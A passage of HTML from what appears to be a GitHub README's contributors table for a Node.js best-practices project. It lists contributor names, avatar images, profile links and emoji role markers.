src=\"https://avatars0.githubusercontent.com/u/26370059?v=4\" width=\"100px;\" alt=\"Vitor Godoy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vitor Godoy</b></sub></a><br /><a href=\"#content-vitordagamagodoy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.manishsaraan.com/\"><img src=\"https://avatars2.githubusercontent.com/u/19797340?v=4\" width=\"100px;\" alt=\"Manish Saraan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Manish Saraan</b></sub></a><br /><a href=\"#content-manishsaraan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/uronly14me\"><img src=\"https://avatars2.githubusercontent.com/u/5186814?v=4\" width=\"100px;\" alt=\"Sangbeom Han\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sangbeom Han</b></sub></a><br /><a href=\"#content-uronly14me\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blackmatch.github.io\"><img src=\"https://avatars3.githubusercontent.com/u/12443954?v=4\" width=\"100px;\" alt=\"blackmatch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>blackmatch</b></sub></a><br /><a href=\"#content-blackmatch\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://simmsreeve.com\"><img src=\"https://avatars3.githubusercontent.com/u/5173131?v=4\" width=\"100px;\" alt=\"Joe Reeve\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joe Reeve</b></sub></a><br /><a href=\"#content-ISNIT0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/BusbyActual\"><img src=\"https://avatars2.githubusercontent.com/u/14985016?v=4\" width=\"100px;\" alt=\"Ryan Busby\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Busby</b></sub></a><br /><a href=\"#content-BusbyActual\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jsdecorator.com\"><img src=\"https://avatars3.githubusercontent.com/u/4482199?v=4\" width=\"100px;\" alt=\"Iman Mohamadi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Iman Mohamadi</b></sub></a><br /><a href=\"#content-ImanMh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/HeeL\"><img src=\"https://avatars1.githubusercontent.com/u/287769?v=4\" width=\"100px;\" alt=\"Sergii Paryzhskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergii Paryzhskyi</b></sub></a><br /><a href=\"#content-HeeL\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kapilepatel\"><img src=\"https://avatars3.githubusercontent.com/u/25738473?v=4\" width=\"100px;\" alt=\"Kapil Patel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kapil Patel</b></sub></a><br /><a href=\"#content-kapilepatel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/justjavac\"><img src=\"https://avatars1.githubusercontent.com/u/359395?v=4\" width=\"100px;\" alt=\"迷渡\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>迷渡</b></sub></a><br /><a href=\"#content-justjavac\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hozefaj\"><img src=\"https://avatars1.githubusercontent.com/u/2084833?v=4\" width=\"100px;\" alt=\"Hozefa\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hozefa</b></sub></a><br /><a href=\"#content-hozefaj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/el-ethan\"><img src=\"https://avatars3.githubusercontent.com/u/10249884?v=4\" width=\"100px;\" alt=\"Ethan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ethan</b></sub></a><br /><a href=\"#content-el-ethan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/milkdeliver\"><img src=\"https://avatars2.githubusercontent.com/u/3108407?v=4\" width=\"100px;\" alt=\"Sam\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sam</b></sub></a><br /><a href=\"#content-milkdeliver\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ArlindXh\"><img src=\"https://avatars0.githubusercontent.com/u/19508764?v=4\" width=\"100px;\" alt=\"Arlind\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Arlind</b></sub></a><br /><a href=\"#content-ArlindXh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ttous\"><img src=\"https://avatars0.githubusercontent.com/u/19815440?v=4\" width=\"100px;\" alt=\"Teddy Toussaint\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Teddy Toussaint</b></sub></a><br /><a href=\"#content-ttous\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ardern.io\"><img src=\"https://avatars2.githubusercontent.com/u/2419690?v=4\" width=\"100px;\" alt=\"Lewis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lewis</b></sub></a><br /><a href=\"#content-LewisArdern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://gabriellidenor.com/\"><img src=\"https://avatars2.githubusercontent.com/u/765963?v=4\" width=\"100px;\" alt=\"Gabriel Lidenor \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabriel Lidenor </b></sub></a><br /><a href=\"#content-GabrielLidenor\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/animir\"><img src=\"https://avatars3.githubusercontent.com/u/4623196?v=4\" width=\"100px;\" alt=\"Roman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Roman</b></sub></a><br /><a href=\"#content-animir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Francozeira\"><img src=\"https://avatars1.githubusercontent.com/u/47419763?v=4\" width=\"100px;\" alt=\"Francozeira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Francozeira</b></sub></a><br /><a href=\"#content-Francozeira\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/invvard\"><img src=\"https://avatars0.githubusercontent.com/u/7305493?v=4\" width=\"100px;\" alt=\"Invvard\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Invvard</b></sub></a><br /><a href=\"#content-Invvard\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://romulogarofalo.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/18492592?v=4\" width=\"100px;\" alt=\"Rômulo Garofalo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rômulo Garofalo</b></sub></a><br /><a href=\"#content-romulogarofalo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://thoqbk.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/1491103?v=4\" width=\"100px;\" alt=\"Tho Q Luong\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tho Q Luong</b></sub></a><br /><a href=\"#content-thoqbk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Qeneke\"><img src=\"https://avatars2.githubusercontent.com/u/20271568?v=4\" width=\"100px;\" alt=\"Burak Shen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Burak Shen</b></sub></a><br /><a href=\"#content-Qeneke\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.happy-css.com\"><img src=\"https://avatars0.githubusercontent.com/u/2950505?v=4\" width=\"100px;\" alt=\"Martin Muzatko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Martin Muzatko</b></sub></a><br /><a href=\"#content-MartinMuzatko\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/autoboxer\"><img src=\"https://avatars3.githubusercontent.com/u/2757601?v=4\" width=\"100px;\" alt=\"Jared Collier\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jared Collier</b></sub></a><br /><a href=\"#content-autoboxer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hiltonmeyer.com\"><img src=\"https://avatars3.githubusercontent.com/u/4545860?v=4\" width=\"100px;\" alt=\"Hilton Meyer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hilton Meyer</b></sub></a><br /><a href=\"#content-bikingbadger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kr.vuejs.org\"><img src=\"https://avatars0.githubusercontent.com/u/1451365?v=4\" width=\"100px;\" alt=\"ChangJoo Park(박창주)\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ChangJoo Park(박창주)</b></sub></a><br /><a href=\"#content-ChangJoo-Park\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MasahiroSakaguchi\"><img src=\"https://avatars0.githubusercontent.com/u/16427431?v=4\" width=\"100px;\" alt=\"Masahiro Sakaguchi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Masahiro Sakaguchi</b></sub></a><br /><a href=\"#content-MasahiroSakaguchi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/TheHollidayInn\"><img src=\"https://avatars1.githubusercontent.com/u/1253400?v=4\" width=\"100px;\" alt=\"Keith Holliday\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Keith Holliday</b></sub></a><br /><a href=\"#content-TheHollidayInn\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.coreycleary.me\"><img src=\"https://avatars3.githubusercontent.com/u/1485356?v=4\" width=\"100px;\" alt=\"coreyc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>coreyc</b></sub></a><br /><a href=\"#content-coreyc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://maxcubing.wordpress.com\"><img src=\"https://avatars0.githubusercontent.com/u/8260834?v=4\" width=\"100px;\" alt=\"Maximilian Berkmann\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Maximilian Berkmann</b></sub></a><br /><a href=\"#content-Berkmann18\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DouglasMV\"><img src=\"https://avatars3.githubusercontent.com/u/32845487?v=4\" width=\"100px;\" alt=\"Douglas Mariano Valero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Douglas Mariano Valero</b></sub></a><br /><a href=\"#content-DouglasMV\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/marcelosdm\"><img src=\"https://avatars0.githubusercontent.com/u/18266600?v=4\" width=\"100px;\" alt=\"Marcelo Melo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Marcelo Melo</b></sub></a><br /><a href=\"#content-marcelosdm\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/mperk_\"><img src=\"https://avatars0.githubusercontent.com/u/3465794?v=4\" width=\"100px;\" alt=\"Mehmet Perk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mehmet Perk</b></sub></a><br /><a href=\"#content-mperk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ryanouyang\"><img src=\"https://avatars2.githubusercontent.com/u/360426?v=4\" width=\"100px;\" alt=\"ryan ouyang\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ryan ouyang</b></sub></a><br /><a href=\"#content-ryanouyang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shabeer-mdy\"><img src=\"https://avatars0.githubusercontent.com/u/26842535?v=4\" width=\"100px;\" alt=\"Shabeer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shabeer</b></sub></a><br /><a href=\"#content-shabeer-mdy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/halfzebra\"><img src=\"https://avatars1.githubusercontent.com/u/3983879?v=4\" width=\"100px;\" alt=\"Eduard Kyvenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eduard Kyvenko</b></sub></a><br /><a href=\"#content-halfzebra\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://deyvisonrocha.com\"><img src=\"https://avatars2.githubusercontent.com/u/686067?v=4\" width=\"100px;\" alt=\"Deyvison Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Deyvison Rocha</b></sub></a><br /><a href=\"#content-deyvisonrocha\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://twitter.com/georgemamer\"><img src=\"https://avatars1.githubusercontent.com/u/20108934?v=4\" width=\"100px;\" alt=\"George Mamer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>George Mamer</b></sub></a><br /><a href=\"#content-georgem3\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leimonio\"><img src=\"https://avatars0.githubusercontent.com/u/1969742?v=4\" width=\"100px;\" alt=\"Konstantinos Leimonis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Konstantinos Leimonis</b></sub></a><br /><a href=\"#content-leimonio\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Zybax\"><img src=\"https://avatars3.githubusercontent.com/u/22094453?v=4\" width=\"100px;\" alt=\"Oliver Lluberes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Oliver Lluberes</b></sub></a><br /><a href=\"#translation-Zybax\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/story/tiendq\"><img src=\"https://avatars2.githubusercontent.com/u/815910?v=4\" width=\"100px;\" alt=\"Tien Do\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tien Do</b></sub></a><br /><a href=\"#content-tiendq\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://singh1114.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/11356398?v=4\" width=\"100px;\" alt=\"Ranvir Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ranvir Singh</b></sub></a><br /><a href=\"#content-singh1114\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/collierrgbsitisfise\"><img src=\"https://avatars3.githubusercontent.com/u/13496126?v=4\" width=\"100px;\" alt=\"Vadim Nicolaev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vadim Nicolaev</b></sub></a><br /><a href=\"#content-collierrgbsitisfise\" title=\"Content\">🖋</a> <a href=\"#translation-collierrgbsitisfise\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/germangamboa95\"><img src=\"https://avatars3.githubusercontent.com/u/28633849?v=4\" width=\"100px;\" alt=\"German Gamboa Gonzalez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>German Gamboa Gonzalez</b></sub></a><br /><a href=\"#content-germangamboa95\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AbdelrahmanHafez\"><img src=\"https://avatars3.githubusercontent.com/u/19984935?v=4\" width=\"100px;\" alt=\"Hafez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hafez</b></sub></a><br /><a href=\"#content-AbdelrahmanHafez\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://linkedin.com/in/chandiran-dmc\"><img src=\"https://avatars3.githubusercontent.com/u/42678579?v=4\" width=\"100px;\" alt=\"Chandiran\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chandiran</b></sub></a><br /><a href=\"#content-chandiran-dmc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/VinayaSathyanarayana\"><img src=\"https://avatars2.githubusercontent.com/u/16976677?v=4\" width=\"100px;\" alt=\"VinayaSathyanarayana\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>VinayaSathyanarayana</b></sub></a><br /><a href=\"#content-VinayaSathyanarayana\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.kimkern.de\"><img src=\"https://avatars1.githubusercontent.com/u/2671139?v=4\" width=\"100px;\" alt=\"Kim Kern\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kim Kern</b></sub></a><br /><a href=\"#content-kiwikern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://kennethfreitas.github.io/\"><img src=\"https://avatars2.githubusercontent.com/u/55669043?v=4\" width=\"100px;\" alt=\"Kenneth Freitas\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kenneth Freitas</b></sub></a><br /><a href=\"#content-kennethfreitas\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/songe\"><img src=\"https://avatars2.githubusercontent.com/u/1531561?v=4\" width=\"100px;\" alt=\"songe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>songe</b></sub></a><br /><a href=\"#content-songe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ksed.dev\"><img src=\"https://avatars1.githubusercontent.com/u/30693707?v=4\" width=\"100px;\" alt=\"Kirill Shekhovtsov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kirill Shekhovtsov</b></sub></a><br /><a href=\"#content-Ksedline\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/SerzN1\"><img src=\"https://avatars0.githubusercontent.com/u/2534649?v=4\" width=\"100px;\" alt=\"Serge\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Serge</b></sub></a><br /><a href=\"#content-SerzN1\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyrwinz\"><img src=\"https://avatars3.githubusercontent.com/u/21241761?v=4\" width=\"100px;\" alt=\"keyrwinz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>keyrwinz</b></sub></a><br /><a href=\"#content-keyrwinz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nDmitry\"><img src=\"https://avatars0.githubusercontent.com/u/2134568?v=4\" width=\"100px;\" alt=\"Dmitry Nikitenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dmitry Nikitenko</b></sub></a><br /><a href=\"#content-nDmitry\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bushuai.cc\"><img src=\"https://avatars0.githubusercontent.com/u/1875256?v=4\" width=\"100px;\" alt=\"bushuai\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>bushuai</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Abushuai\" title=\"Reviewed Pull Requests\">👀</a> <a href=\"#content-bushuai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/users/1348195/benjamin-gruenbaum\"><img src=\"https://avatars2.githubusercontent.com/u/1315533?v=4\" width=\"100px;\" alt=\"Benjamin Gruenbaum\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Gruenbaum</b></sub></a><br /><a href=\"#content-benjamingr\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/byeze\"><img src=\"https://avatars1.githubusercontent.com/u/7424138?v=4\" width=\"100px;\" alt=\"Ezequiel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ezequiel</b></sub></a><br /><a href=\"#translation-byeze\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/juaoose\"><img src=\"https://avatars3.githubusercontent.com/u/994594?v=4\" width=\"100px;\" alt=\"Juan José Rodríguez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Juan José Rodríguez</b></sub></a><br /><a href=\"#translation-juaoose\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/OrBin\"><img src=\"https://avatars1.githubusercontent.com/u/6897234?v=4\" width=\"100px;\" alt=\"Or Bin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Or Bin</b></sub></a><br /><a href=\"#content-OrBin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/andreoav07\"><img src=\"https://avatars2.githubusercontent.com/u/508827?v=4\" width=\"100px;\" alt=\"Andreo Vieira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Andreo Vieira</b></sub></a><br /><a href=\"#content-andreoav\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mikicho\"><img src=\"https://avatars1.githubusercontent.com/u/11459632?v=4\" width=\"100px;\" alt=\"Michael Solomon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Solomon</b></sub></a><br /><a href=\"#content-mikicho\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jimmycallin\"><img src=\"https://avatars0.githubusercontent.com/u/2225828?v=4\" width=\"100px;\" alt=\"Jimmy Callin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jimmy Callin</b></sub></a><br /><a href=\"#content-jimmycallin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/siddharthofficial/\"><img src=\"https://avatars2.githubusercontent.com/u/26025955?v=4\" width=\"100px;\" alt=\"Siddharth\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Siddharth</b></sub></a><br /><a href=\"#content-w01fS\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ryansmith.tech/\"><img src=\"https://avatars0.githubusercontent.com/u/1578766?v=4\" width=\"100px;\" alt=\"Ryan Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Smith</b></sub></a><br /><a href=\"#content-ryan3E0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://de.linkedin.com/in/tom-boettger\"><img src=\"https://avatars2.githubusercontent.com/u/49961674?v=4\" width=\"100px;\" alt=\"Tom Boettger\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tom Boettger</b></sub></a><br /><a href=\"#content-bttger\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jormaechea\"><img src=\"https://avatars3.githubusercontent.com/u/5612500?v=4\" width=\"100px;\" alt=\"Joaquín Ormaechea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joaquín 